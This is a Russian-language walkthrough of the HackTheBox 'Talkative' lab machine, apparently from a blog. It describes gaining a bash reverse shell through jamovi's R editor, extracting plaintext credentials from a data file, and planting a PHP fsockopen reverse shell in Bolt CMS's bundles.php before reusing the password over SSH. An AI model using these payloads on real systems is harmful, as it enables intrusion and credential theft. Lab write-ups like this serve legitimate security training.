May 17, 2022

TALKATIVE :: HARD

Разведка

Сначала, как обычно нужно просканить порты.

rustscan -a talkative.htb

Итак:

:80 - сам сайт

:3000 - rocket.chat

:8080 - jamovi (excel, только онлайн)

:8081, :8082 - нас не интересуют

Сначала проанализируем сайт.

титульный лист

Спускаемся ниже и видим список сотрудников.

Также внутри кода страницы можно увидеть boltcms:

Итак:

Saul Goodman ([email protected]) - глава компании

Matt Williams () - директор по маркетингу

Janit Smith () - директор по финансам

Это пригодится чуть позже.

Запуск эксплойта

Как уже было отмечено ранее, среди портов есть анализатор jamovi. Переходим.

Сверху среди модулей замечаем модуль Rjeditor

Минута теории

Rjeditor - плагин, позволяющий выполнять код на языке R.

Итак, подключая модуль, у нас появляется окно, в которое можно писать код.

Первое что приходит в голову - вставить сюда reverseshell конструкцию. Пару минут гугла, и конструкция готова.

system("bash -c 'bash -i >& /dev/tcp/TUNNEL_IP/1337 0>&1'",intern=TRUE)

Вставляем код в rjeditor, и переходим в консоль.

С помощью утилиты pwncat (т.к. это наиболее удобная для взаимодействия с файлами оболочка) запускаем прослушку портов.

pwncat-cs -lp 1337

И запускаем код в rjeditor нажатием CTRL+SHIFT+ENTER.

Подключение получено:

local

Нам необходимо получить доступ к файлу bolt-administration.omv.

Прописываем команду

download /root/bolt-administration.omv

Тем самым скачивая нужный нам файл.

download /root/bolt-administration.omv

Доступ к CMS

file bolt-administration.omv

unzip`аем архив.

unzip bolt-administration.omv

xdata.json содержит данные таблицы.

Читаем:

cat xdata.json | jq .
  "A": {                                                                                                                                                                                                                             [3/323]
    "labels": [                                                                                                                                                                                                                             
      [                                                                                                                                                                                                                                     
        0,                                                                                                                                                                                                                                  
        "Username",
        "Username",
        false
      ],
      [
        1,
        "[email protected]",
        "[email protected]",
        false
      ],
      [
        2,
        "[email protected]",
        "[email protected]",
        false
      ],
      [
        3,
        "[email protected]",
        "[email protected]",
        false
      ]
    ]
  },
  "B": {
    "labels": [
      [
        0,
        "Password",
        "Password",
        false
      ],
      [
        1,
        "jeO09ufhWD<s",
        "jeO09ufhWD<s",
        false
      ],
      [
        2,
        "bZ89h}V<S_DA",
        "bZ89h}V<S_DA",
        false
      ],
      [
        3,
        ")SQWGm>9KHEA",
        ")SQWGm>9KHEA",
        false
      ]
    ]
  },
  "C": {
    "labels": []
  }
}

Логин: admin

Перебором паролей понимаем что пароль: jeO09ufhWD<s

Доступ получен

Второй эксплойт

Немного изучения bolt.cms и понимаем что нас интересует файл config/bundles.php что используется для системы пакетов.

Переходим в редактор файлов по ссылке

http://talkative.htb/bolt/file-edit/config?file=/bundles.php

Учитывая что изменив данный файл мы меняем механику сайта, с этим нужно быть очень аккуратным (я ломал сайт раз так 10). Используем конструкцию

$sock=fsockopen("10.10.14.45",1337);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);

Для получения доступа к машине.

pwncat-cs -lp 1337

Прописываем команду back для получения доступа к машине.

back

Мы в сети офиса. Нам необходимо получить доступ к компьютеру saul`a.

Если вы хоть как-то знакомы с сетями, вы можете знать 172.18.0.1. Default`ный шлюз маршрутизатора. Именно он поможет подключиться к компу Саула.

ssh [email protected]

Пароль тот же что и для cms.

ssh [email protected]

Получения ключей

Получение ключей :: User Own

Ключ лежит в этой директории. Открываем

cat user.txt

Ключ наш.

cat user.txt